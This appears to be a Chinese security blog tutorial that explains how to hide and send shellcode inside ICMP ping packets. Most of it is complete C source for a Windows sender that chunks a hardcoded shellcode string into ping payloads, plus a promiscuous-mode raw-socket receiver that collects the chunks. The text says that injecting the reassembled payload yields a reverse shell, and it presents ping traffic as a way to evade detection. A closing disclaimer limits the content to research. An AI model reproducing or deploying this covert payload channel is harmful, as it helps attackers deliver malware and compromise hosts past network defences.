ICMP是互联网控制消息协议,它是IP协议的一部分,主要用于在网络设备之间传递控制和错误消息,网络管理员通常会使用该协议检测网络,并以此来确定目标主机是否可达,由于Ping是常规命令其默认并不会被认定为恶意攻击且一般均会打开并放行,通过精心构建并实现一个特殊的Ping命令,我们可以在RequestData字段上面携带数据,并以此来实现传递攻击载荷到目标主机。
首先,读者可自行打开Wireshark
网络抓包工具,设置过滤器为ip.dst==8.8.8.8
当准备就绪后,直接使用ping 8.8.8.8
命令,此时抓包工具将会捕捉到如下所示的图例,在图中RequestData
数据字段默认会被填充为默认的字符串,由于受到ICMP协议长度限制,此处的字符串最长为32
字节。
发送攻击载荷
我们要通过手动编写一个Ping
命令并将此处的空白位置利用起来,读者可自行实现Ping
命令,也可以通过调用Windows
系统中为我们提供的IcmpSendEcho
函数来实现,该函数的原型定义如下所示;
DWORD IcmpSendEcho( HANDLE IcmpHandle, IPAddr DestinationAddress, LPVOID RequestData, WORD RequestSize, PIP_OPTION_INFORMATION RequestOptions, LPVOID ReplyBuffer, DWORD ReplySize, DWORD Timeout );
|
我们需要构建一个特殊的结构体变量,此处为ShellCodeData
结构,该结构体包含三个成员,其中uuid
用于指定数据包唯一标识符,subsection
用于指定分段数量,这两个变量分别占用4个字节,最后ShellCode[24]
则用于占用最后的24个字节,其结构体定义如下所示;
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <winsock2.h> #include <iphlpapi.h> #include <icmpapi.h>
#pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "iphlpapi.lib")
typedef struct { int uuid; int subsection; unsigned char ShellCode[24]; } ShellCodeData;
|
接着编写一个splitString
函数,其作用是当用户传入一段特别长的字符串,可将数据以chunkSize
的长度切割成对等字符串,此处要切割为24
字节,并将分段数量通过numChunks
返回给用户,函数最终返回一个二维字符串数组,其中每个一维数组都是长度为24字节的数据。
char** splitString(const char* input, size_t chunkSize, size_t* numChunks) { size_t inputLen = strlen(input);
*numChunks = (inputLen + chunkSize - 1) / chunkSize;
char** output = (char**)malloc(*numChunks * sizeof(char*)); if (output == NULL) { exit(1); }
for (size_t i = 0; i < *numChunks; ++i) { output[i] = (char*)malloc((chunkSize + 1) * sizeof(char)); if (output[i] == NULL) { exit(1); }
strncpy(output[i], input + i * chunkSize, chunkSize);
output[i][chunkSize] = '\0'; }
return output; }
|
最后编写一个名为HackerPing
的发包函数,该函数通过调用IcmpSendEcho
实现发包,通过传入对端ipAddress
地址及data
数据实现发送,其具体实现流程如下所示。
void HackerPing(const char* ipAddress, ShellCodeData* data) { HANDLE hIcmpFile; unsigned long ipaddr = inet_addr(ipAddress); DWORD dwRetVal = 0; LPVOID ReplyBuffer = NULL; DWORD ReplySize = 0;
hIcmpFile = IcmpCreateFile(); if (hIcmpFile == INVALID_HANDLE_VALUE) { return; }
ReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(ShellCodeData); ReplyBuffer = (VOID*)malloc(ReplySize); if (ReplyBuffer == NULL) { IcmpCloseHandle(hIcmpFile); return; }
dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, data, sizeof(ShellCodeData), NULL, ReplyBuffer, ReplySize, 1000); if (dwRetVal != 0) { PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer; struct in_addr ReplyAddr; ReplyAddr.S_un.S_addr = pEchoReply->Address; printf("已将icmp消息发送到 %s\n", ipAddress); printf("收到自 %s\n", inet_ntoa(ReplyAddr)); printf("状态 = %ld\n", pEchoReply->Status); printf("往返时间 = %ld 毫秒\n", pEchoReply->RoundTripTime); }
free(ReplyBuffer); IcmpCloseHandle(hIcmpFile); }
|
在主函数中,首先通过调用splitString
函数将ShellCode
字符串载荷进行切割,并切割为24
个字节为一组,切割完成后将切割总次数存入numChunks
变量内,在循环内通过memcpy
拷贝字节数组,并依次调用HackerPing
实现攻击载荷的分片传输。
int main(int argc, char** argv) { if (argc != 2) { printf("Usage: %s <IP Address>\n", argv[0]); return 1; }
const char* ShellCode = "fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b312211"; size_t chunkSize = 24;
size_t numChunks;
char** result = splitString(ShellCode, chunkSize, &numChunks);
for (size_t i = 0; i < numChunks; ++i) { ShellCodeData data;
data.uuid = 58431;
data.subsection = numChunks;
memset(data.ShellCode, 0, sizeof(data.ShellCode)); memcpy(data.ShellCode, result[i], strlen(result[i]));
HackerPing(argv[1], &data);
free(result[i]); }
free(result); return 0; }
|
编译上述代码,并通过命令行执行Ping.exe 8.8.8.8
完成数据包的发送,由于ShellCode
的长度为173
字节,每次传输为24
字节,这样则需要8次才可以将攻击载荷传输完成,通过Wireshark
抓包并过滤出目标地址ip.dst==8.8.8.8
则可看到如下所示的8个ICMP
数据包。
其中的每个数据包都将按照我们所期待的格式进行排列,第一个四字节为3fe40000
为uuid
,第二个四字节08000000
为subsection
循环计数,之后跟随的24
字节则是ShellCode
切片,若不足24
个字节则使用零进行填充,如下图所示;
接收攻击载荷
在之前简单介绍了如何通过使用Ping
命令传输ShellCode
载荷到对端主机,那么对端主机该如何接收这个载荷并运行呢?对于接收载荷其实我们可以通过Windows
套接字中的混杂模式来监控来到本机的流量,若流量是ICMP
则对其进行解析并判断uuid
是否唯一,若找到了则根据计数对这段ShellCode
进行组装并执行反弹即可。
首先,我们需要定义所需结构,其中ShellCodeData
与客户端保持不变,为了能够解析到ICMP
数据包,我们需要定义ether_header
以太网包头、ipv4_header
IP包头、以及icmp_header
包头,并通过pragma pack(1)
设置对齐方式为1字节。
#include <iostream> #include <WinSock2.h> #include <ws2tcpip.h> #include <mstcpip.h>
#pragma comment(lib, "ws2_32.lib")
typedef struct { int uuid; int subsection; unsigned char ShellCode[24]; } ShellCodeData;
typedef struct { int iLen; char szIPArray[10][50]; } HOSTIP;
SOCKET g_RawSocket = 0; HOSTIP g_HostIp;
#pragma pack(1)
typedef struct ether_header { unsigned char ether_dhost[6]; unsigned char ether_shost[6]; unsigned short ether_type; } ETHERHEADER, *PETHERHEADER;
typedef struct ipv4_header { unsigned char ipv4_ver_hl; unsigned char ipv4_stype; unsigned short ipv4_plen; unsigned short ipv4_pidentify; unsigned short ipv4_flag_offset; unsigned char ipv4_ttl; unsigned char ipv4_pro; unsigned short ipv4_crc; unsigned long ipv4_sourpa; unsigned long ipv4_destpa; } IPV4HEADER, *PIPV4HEADER;
typedef struct icmp_header { unsigned char type; unsigned char code; unsigned short checksum; unsigned short id; unsigned short seq; } ICMPHEADER, *PICMPHEADER;
#pragma pack()
|
接着是初始化部分,通过InitAndSelectNetworkRawSocket
来实现对套接字的初始化,在初始化过程中用户可自行选择绑定到哪个网卡之上,最后设置该套接字为混杂模式以抓取所有经过网卡的数据包。
BOOL InitAndSelectNetworkRawSocket() { WSADATA wsaData = { 0 }; if (0 != WSAStartup(MAKEWORD(2, 2), &wsaData)) { return FALSE; } g_RawSocket = socket(AF_INET, SOCK_RAW, IPPROTO_IP); if (INVALID_SOCKET == g_RawSocket) { WSACleanup(); return FALSE; }
char szHostName[MAX_PATH] = { 0 }; if (SOCKET_ERROR == ::gethostname(szHostName, MAX_PATH)) { closesocket(g_RawSocket); WSACleanup(); return FALSE; }
hostent* lpHostent = ::gethostbyname(szHostName); if (NULL == lpHostent) { closesocket(g_RawSocket); WSACleanup(); return FALSE; }
g_HostIp.iLen = 0; strcpy(g_HostIp.szIPArray[g_HostIp.iLen], "127.0.0.1"); g_HostIp.iLen++; char* lpszHostIP = NULL;
while (NULL != (lpHostent->h_addr_list[(g_HostIp.iLen - 1)])) { lpszHostIP = inet_ntoa(*(in_addr*)lpHostent->h_addr_list[(g_HostIp.iLen - 1)]); strcpy(g_HostIp.szIPArray[g_HostIp.iLen], lpszHostIP); g_HostIp.iLen++; }
printf("选择侦听网卡 \n\n"); for (int i = 0; i < g_HostIp.iLen; i++) { printf("\t [*] 序号: %d \t IP地址: %s \n", i, g_HostIp.szIPArray[i]); }
printf("\n 选择网卡序号: "); int iChoose = 0; scanf("%d", &iChoose);
if ((0 > iChoose) || (iChoose >= g_HostIp.iLen)) { exit(0); } if ((0 <= iChoose) && (iChoose < g_HostIp.iLen)) { lpszHostIP = g_HostIp.szIPArray[iChoose]; }
sockaddr_in SockAddr = { 0 }; RtlZeroMemory(&SockAddr, sizeof(sockaddr_in)); SockAddr.sin_addr.S_un.S_addr = inet_addr(lpszHostIP); SockAddr.sin_family = AF_INET; SockAddr.sin_port = htons(0);
if (SOCKET_ERROR == bind(g_RawSocket, (sockaddr*)(&SockAddr), sizeof(sockaddr_in))) { closesocket(g_RawSocket); WSACleanup(); return FALSE; }
DWORD dwSetVal = 1; if (SOCKET_ERROR == ioctlsocket(g_RawSocket, SIO_RCVALL, &dwSetVal)) { closesocket(g_RawSocket); WSACleanup(); return FALSE; } return TRUE; }
|
通过调用AnalyseRecvPacket_ICMP
可实现对数据包的解析功能,在解析时我们依次判断ICMP
类型是否为回显应答,并判断IP
地址是否为源端地址,若是则继续判断uuid
是否为58431
这也是为了排除干扰,最后依次将字节数组解析为字符串并放入到asciiString
变量内打印,当然在实战中此处需要组合成一段完整的ShellCode
并将其注入执行,此处仅用于原理演示,故不再增加反弹功能。
void AnalyseRecvPacket_ICMP(BYTE* lpBuf) { struct sockaddr_in saddr, daddr; PIPV4HEADER ip = (PIPV4HEADER)lpBuf; PICMPHEADER icmp = (PICMPHEADER)(lpBuf + (ip->ipv4_ver_hl & 0x0F) * 4); ShellCodeData* data = (ShellCodeData*)(lpBuf + (ip->ipv4_ver_hl & 0x0F) * 4 + sizeof(ICMPHEADER));
saddr.sin_addr.s_addr = ip->ipv4_sourpa; daddr.sin_addr.s_addr = ip->ipv4_destpa;
if (icmp->type == 0 && strcmp(inet_ntoa(saddr.sin_addr), "8.8.8.8") == 0) { if (data->uuid == 58431) {
char asciiString[25] = { 0 };
for (int i = 0; i < 24; i++) { asciiString[i] = (char)data->ShellCode[i]; }
printf("ShellCode: %s\n", asciiString); } } }
|
最后在主函数中,首先调用InitAndSelectNetworkRawSocket
初始化本机套接字,通过一个死循环接收数据包,并判断是否为ICMP
包,若是则直接使用AnalyseRecvPacket_ICMP
函数对其进行解析,并以此来实现整个流程。
int main(int argc, char* argv[]) { if (!InitAndSelectNetworkRawSocket()) { return -1; }
sockaddr_in RecvAddr = { 0 }; int iRecvBytes = 0; int iRecvAddrLen = sizeof(sockaddr_in); DWORD dwBufSize = 12000; BYTE* lpRecvBuf = new BYTE[dwBufSize];
while (1) { RtlZeroMemory(&RecvAddr, iRecvAddrLen); iRecvBytes = recvfrom(g_RawSocket, (char*)lpRecvBuf, dwBufSize, 0, (sockaddr*)(&RecvAddr), &iRecvAddrLen);
if (0 < iRecvBytes) { PIPV4HEADER ip = (PIPV4HEADER)lpRecvBuf; if (ip->ipv4_pro == IPPROTO_ICMP) { AnalyseRecvPacket_ICMP(lpRecvBuf); } } }
delete[] lpRecvBuf; lpRecvBuf = NULL;
Sleep(500); closesocket(g_RawSocket); WSACleanup(); return 0; }
|
至此,读者可自行运行这段代码并选择对应的网卡,当运行后使用客户端Ping
对端主机,此时对端主机将会接收到通过Ping
命令传来的攻击载荷,将这些载荷进行组装并注入即可实现反弹上线。
警告:本篇文章中所涉及的内容仅用于技术交流与研究之用,仅允许被用于正规用途或学习目的,请读者自觉遵守相关法规,禁止滥用。